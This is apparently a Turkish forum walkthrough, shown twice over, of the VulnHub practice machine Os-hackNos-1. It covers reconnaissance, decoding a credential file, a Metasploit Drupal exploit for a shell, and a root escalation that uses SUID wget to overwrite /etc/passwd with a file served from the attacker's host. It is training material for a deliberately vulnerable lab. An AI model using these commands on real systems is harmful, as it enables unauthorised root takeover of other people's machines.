Merhabalar herkese. Bu yazıda sizlerle beraber hackNos: Os-hackNos-1 zafiyetli makinenin çözümünü inceleyeceğiz.
https://www.vulnhub.com/entry/hacknos-os-hacknos,401/
Makine ismi: Os-hackNos-1
Yayınlanma Tarihi: 27 Kasım 2019
Yapan: Rahul Gehlaut
Boyut/Format: 827mb/OVA
Zorluk: Kolay-Orta
İşletim Sistemi: Linux
Seri: hackNos
Açıklama: Makinedeki 2 flag dosyasını bul. (UserFlag-RootFlag)
Not: Başlamadan önce belirtmek isterim. İndirdiğiniz makine VMware 'da düzgün çalışmayacaktır. VirtualBox üzerinden CTF'i çözmenizi öneririm.
İlk önce makinemizin ip adresini öğrenmek için "netdiscover" komutunu kullanıyoruz.
IP adresini öğrendikten sonra açık portları öğrenmek için nmap taraması yapalım.
Zafiyetli makinemizde sadece ssh (22) ve http (80) portlarımız açıkmış. 80 portu bildiğiniz üzere bir web sitesinin olduğunu gösteriyor. Bakalım site nasıl bişi.
Karşımıza çıkan sayfa pekte sevindirici olmadı. "Ubuntu Default Page" bize bişi ifade etmiyor. Bizde dizin taraması yapalım. Belki işe yarar bi klasör veya dosya buluruz. Dizin taraması için terminale dirbuster yazabilirsiniz. Ya da menüden tıklayıp açabilirsiniz.
Target kısmına hedef ip adresini (http ile beraber), wordlistimizi ve sağ alttaki "File extension" kısmına dosya türlerini giriyoruz. Dizin tarama işlemine geçebiliriz.
Bizim için önemli olan ilk 4 taramadan dönen veriler. Bu yüzden diğerlerini bitirmeye aldım. Bu tarama esnasında karşılaştığım bir probleme de değineyim. Error kısmı var. Ard arda 20'den fazla error oluşursa tarama kendini durduruyor. Bu yüzden sol alttan Pause tuşuna basıp devam etmesini sağlamalısınız. Tarama bitince "Results" kısmından dizin tarama sonuçlarımıza bakalım.
Güzel sonuçlar dönmeye başladı yavaştan. Tarama sonuçlarından 2 tane önemli bilgi döndü gibi duruyor. 'alexander.txt' dosyası tespit etti ve yanında 'drupal' klasörü. Drupal bilmeyenler için söyleyelim wordpress gibi içerik yönetmek için oluşturulmuş bir yazılımdır.
Bulduğumuz dizin ve dosyamızı tarayıcımızda açalım bakalım neler göreceğiz.
Drupal klasik bir görünüme sahip. Şimdilik onu kenarda bekletelim. Zira alexander isimli dosyamızda bir karmaşık metin ile karşılaşıyoruz. İlk baktığımızda bir şifreleme olduğunu anlıyoruz. Şifre çözme sitelerine bi uğrayalım
https://gchq.github.io/CyberChef/
CyberChef online decode sitesidir. Input kısmına alexander dosyamızdan çıkan metni yapıştırdıktan sonra Output kısmına sihirbaz çubuğu çıkıyor. Ona tıklayınca decode işlemini gerçekteştiriyor. Decode işleminden sonra yine karmaşık bir ifade ile karşı karşıyayız. Kripto ve şifreleme ile uğraşan arkadaşlar çıkan sonucun hangi şifreleme olduğunu anlamıştır ama biz bilmeyenler için diğer sitemizden de gösterelim. Dcode sitemize gidelim.
https://www.dcode.fr/en
İlk decode işleminden çıkan karmaşık ifadeyi burada search kısmına yapıştırıp go derseniz size hash türünü gösteriyor (sol üstteki). Tabi bu her zaman geçerli bi durum değil ama çoğu zaman size yardımcı olabiliyor. Çözmemiz gereken şifreleme türü Brain.. isimli olan. Brain.. üzerine tıklayıp şifremizi çözmeye gidelim.
Çıkan sonuç güzel. Zira bize kullanıcı adı ve şifre verdi. Şimdi bunun neye ait olduğunu düşünmem lazım. İlk akla gelenleri test etmek iyi olur. Hatırlayın drupal yazılımı web servisimizde yüklüydü. drupal linkine geri dönüp kullanıcı adı ve şifremizi deneyelim
Kullanıcı adı ve parola kısmına dcode'da çözümlediğimiz bilgileri girince drupal bilgileri olduğu anlaşıldı. Ama bu bilgiler aynı zamanda sisteme bağlantı sağlayabileceğimiz bilgiler de olabilir. O yüzden nolur nolmaz diyip ssh bağlantısı da denemekten zarar gelmez.
Bilgileri girdiğimde hata aldım. Malesef bulduğumuz bilgiler sadece drupal sistemine ait gibi duruyor. Kenarda dursun belki işe yarar ilerde. Drupal sistemi üzerinden de bişi bulamadım. O yüzden birde exploit bakalım. Terminale 'msfconsole' yazarak m3t4sploitimizi açalım. Ardından drupal için search yapalım.
İlk başta 3 numaralı ve 5 numaralı exploitler remote ile alakalı olduğu için onları denedim. Lakin onlar bi sonuç vermediği için burada sadece çalışan 4 no'lu exploiti gösteriyorum. show options komutu ile gerekli özellikleri listeliyoruz. Sırasıyla bilgilerimizi girip exploitimizi deneyeceğiz.
meterpreter yazısını gördük içerideyiz artık shell komutu ile karşı taraftan shell döndürüyoruz. komut çalıştırabilmemiz için shell'e ihtiyacımız var. Birde bash shell üzerinde çalışmak için her zamanki komutumuzu yazalım
Kim olduğumuzu hangi dizinde olduğumuzu öğrendikten sonra ilk flag dosyamızı ekranda gösterelim
Şimdi sırada /root dizini altındaki son flagımızı açmak. Tabi bunu yapmak için yetki yükseltme işlemine ihtiyacımız var. Sistemde yetkimiz olmadığı halde çalıştırılabilir uygulamaları arayalım
wget komutu dikkatimizi çekiyor. Zira yetkimiz olmasa bile istediğimiz yere bi dosya indebiliriz. Buda şu anlama gelebiliyor. /etc dizin altındaki 'passwd' dosyasını değiştirmek için wget'i kullanabilirim. Ama ilk önce sistemin /etc/passwd dosyasını okuyalım
Bu bilgileri bir yere kaydedelim. Şimdi openssl ile passwd dosyasına uygun kullanıcı oluşturalım.
Şimdi yeni bir passwd dosyası oluşturup zafiyetli makinemizden aldığımız passwd bilgilerini ile beraber bizim oluşturduğumuz kullanıcı bilgilerini birleştirelim.
Şimdi bu dosyamızı sızdığımız makinemize indirmemiz gerekiyor. Bunun için de bir Web servise ihtiyacımız var. Ayrı bi konuda buna daha detaylı değineceğim. Şimdilik sadece terminale aşağıdaki komutu girelim.
Tarayıcıya kendi ipnizi ve 8000 portunuzu yazarsanız web servisi başlattığınızı göreceksiniz.
Şimdi sızdığım sisteme geri dönüp wget ile passwd dosyamızı indirelim. Ama ilk önce /etc dizini altında olduğunuzdan emin olun.
Gördüğünüz gibi oluşturduğumuz kullanıcıya geçtiğimizde root yetkisine geçiş yaptık. Artık son flag'ımızı gösterelim
H4ck3njoy
Elimden geldiğince çözümü anlatmaya çalıştım. Umarım faydalı ve doğru anlatabilmişimdir. Bir başka CTF çözümünde buluşmak üzere Allah'a emanet olun
https://www.vulnhub.com/entry/hacknos-os-hacknos,401/
Makine ismi: Os-hackNos-1
Yayınlanma Tarihi: 27 Kasım 2019
Yapan: Rahul Gehlaut
Boyut/Format: 827mb/OVA
Zorluk: Kolay-Orta
İşletim Sistemi: Linux
Seri: hackNos
Açıklama: Makinedeki 2 flag dosyasını bul. (UserFlag-RootFlag)
Not: Başlamadan önce belirtmek isterim. İndirdiğiniz makine VMware 'da düzgün çalışmayacaktır. VirtualBox üzerinden CTF'i çözmenizi öneririm.
İlk önce makinemizin ip adresini öğrenmek için "netdiscover" komutunu kullanıyoruz.
IP adresini öğrendikten sonra açık portları öğrenmek için nmap taraması yapalım.
Kod:
nmap -A -p- 192.168.1.51
Zafiyetli makinemizde sadece ssh (22) ve http (80) portlarımız açıkmış. 80 portu bildiğiniz üzere bir web sitesinin olduğunu gösteriyor. Bakalım site nasıl bişi.
Karşımıza çıkan sayfa pekte sevindirici olmadı. "Ubuntu Default Page" bize bişi ifade etmiyor. Bizde dizin taraması yapalım. Belki işe yarar bi klasör veya dosya buluruz. Dizin taraması için terminale dirbuster yazabilirsiniz. Ya da menüden tıklayıp açabilirsiniz.
Target kısmına hedef ip adresini (http ile beraber), wordlistimizi ve sağ alttaki "File extension" kısmına dosya türlerini giriyoruz. Dizin tarama işlemine geçebiliriz.
Bizim için önemli olan ilk 4 taramadan dönen veriler. Bu yüzden diğerlerini bitirmeye aldım. Bu tarama esnasında karşılaştığım bir probleme de değineyim. Error kısmı var. Ard arda 20'den fazla error oluşursa tarama kendini durduruyor. Bu yüzden sol alttan Pause tuşuna basıp devam etmesini sağlamalısınız. Tarama bitince "Results" kısmından dizin tarama sonuçlarımıza bakalım.
Güzel sonuçlar dönmeye başladı yavaştan. Tarama sonuçlarından 2 tane önemli bilgi döndü gibi duruyor. 'alexander.txt' dosyası tespit etti ve yanında 'drupal' klasörü. Drupal bilmeyenler için söyleyelim wordpress gibi içerik yönetmek için oluşturulmuş bir yazılımdır.
Bulduğumuz dizin ve dosyamızı tarayıcımızda açalım bakalım neler göreceğiz.
Drupal klasik bir görünüme sahip. Şimdilik onu kenarda bekletelim. Zira alexander isimli dosyamızda bir karmaşık metin ile karşılaşıyoruz. İlk baktığımızda bir şifreleme olduğunu anlıyoruz. Şifre çözme sitelerine bi uğrayalım
https://gchq.github.io/CyberChef/
CyberChef online decode sitesidir. Input kısmına alexander dosyamızdan çıkan metni yapıştırdıktan sonra Output kısmına sihirbaz çubuğu çıkıyor. Ona tıklayınca decode işlemini gerçekteştiriyor. Decode işleminden sonra yine karmaşık bir ifade ile karşı karşıyayız. Kripto ve şifreleme ile uğraşan arkadaşlar çıkan sonucun hangi şifreleme olduğunu anlamıştır ama biz bilmeyenler için diğer sitemizden de gösterelim. Dcode sitemize gidelim.
https://www.dcode.fr/en
İlk decode işleminden çıkan karmaşık ifadeyi burada search kısmına yapıştırıp go derseniz size hash türünü gösteriyor (sol üstteki). Tabi bu her zaman geçerli bi durum değil ama çoğu zaman size yardımcı olabiliyor. Çözmemiz gereken şifreleme türü Brain.. isimli olan. Brain.. üzerine tıklayıp şifremizi çözmeye gidelim.
Çıkan sonuç güzel. Zira bize kullanıcı adı ve şifre verdi. Şimdi bunun neye ait olduğunu düşünmem lazım. İlk akla gelenleri test etmek iyi olur. Hatırlayın drupal yazılımı web servisimizde yüklüydü. drupal linkine geri dönüp kullanıcı adı ve şifremizi deneyelim
Kullanıcı adı ve parola kısmına dcode'da çözümlediğimiz bilgileri girince drupal bilgileri olduğu anlaşıldı. Ama bu bilgiler aynı zamanda sisteme bağlantı sağlayabileceğimiz bilgiler de olabilir. O yüzden nolur nolmaz diyip ssh bağlantısı da denemekten zarar gelmez.
Bilgileri girdiğimde hata aldım. Malesef bulduğumuz bilgiler sadece drupal sistemine ait gibi duruyor. Kenarda dursun belki işe yarar ilerde. Drupal sistemi üzerinden de bişi bulamadım. O yüzden birde exploit bakalım. Terminale 'msfconsole' yazarak m3t4sploitimizi açalım. Ardından drupal için search yapalım.
Kod:
search drupal
Kod:
use 4
İlk başta 3 numaralı ve 5 numaralı exploitler remote ile alakalı olduğu için onları denedim. Lakin onlar bi sonuç vermediği için burada sadece çalışan 4 no'lu exploiti gösteriyorum. show options komutu ile gerekli özellikleri listeliyoruz. Sırasıyla bilgilerimizi girip exploitimizi deneyeceğiz.
Kod:
set RHOSTS 192.168.1.51
Kod:
set TARGETURI /drupal
Kod:
run
meterpreter yazısını gördük içerideyiz artık shell komutu ile karşı taraftan shell döndürüyoruz. komut çalıştırabilmemiz için shell'e ihtiyacımız var. Birde bash shell üzerinde çalışmak için her zamanki komutumuzu yazalım
Kod:
python3 -c 'import pty;pty.spawn("/bin/bash")'
Şimdi sırada /root dizini altındaki son flagımızı açmak. Tabi bunu yapmak için yetki yükseltme işlemine ihtiyacımız var. Sistemde yetkimiz olmadığı halde çalıştırılabilir uygulamaları arayalım
Kod:
find / -type f -perm -u=s 2>/dev/null
wget komutu dikkatimizi çekiyor. Zira yetkimiz olmasa bile istediğimiz yere bi dosya indebiliriz. Buda şu anlama gelebiliyor. /etc dizin altındaki 'passwd' dosyasını değiştirmek için wget'i kullanabilirim. Ama ilk önce sistemin /etc/passwd dosyasını okuyalım
Kod:
cat /etc/passwd
Bu bilgileri bir yere kaydedelim. Şimdi openssl ile passwd dosyasına uygun kullanıcı oluşturalım.
Kod:
openssl passwd -1 -salt byghost H4ck3njoy
Şimdi yeni bir passwd dosyası oluşturup zafiyetli makinemizden aldığımız passwd bilgilerini ile beraber bizim oluşturduğumuz kullanıcı bilgilerini birleştirelim.
Kod:
ghost:OPENSSL_UZERINDEN_OLUSAN_KEY:0:0:,,,/root:/bin/bash
Şimdi bu dosyamızı sızdığımız makinemize indirmemiz gerekiyor. Bunun için de bir Web servise ihtiyacımız var. Ayrı bi konuda buna daha detaylı değineceğim. Şimdilik sadece terminale aşağıdaki komutu girelim.
Kod:
python -m SimpleHTTPServer 8000
Tarayıcıya kendi ipnizi ve 8000 portunuzu yazarsanız web servisi başlattığınızı göreceksiniz.
Kod:
IP_ADRESINIZ:8000/
Şimdi sızdığım sisteme geri dönüp wget ile passwd dosyamızı indirelim. Ama ilk önce /etc dizini altında olduğunuzdan emin olun.
Kod:
cd /etc
Kod:
wget IP_ADRESINIZ:8000/passwd -O passwd
Kod:
su ghost
Gördüğünüz gibi oluşturduğumuz kullanıcıya geçtiğimizde root yetkisine geçiş yaptık. Artık son flag'ımızı gösterelim
H4ck3njoy
Elimden geldiğince çözümü anlatmaya çalıştım. Umarım faydalı ve doğru anlatabilmişimdir. Bir başka CTF çözümünde buluşmak üzere Allah'a emanet olun
Son düzenleme: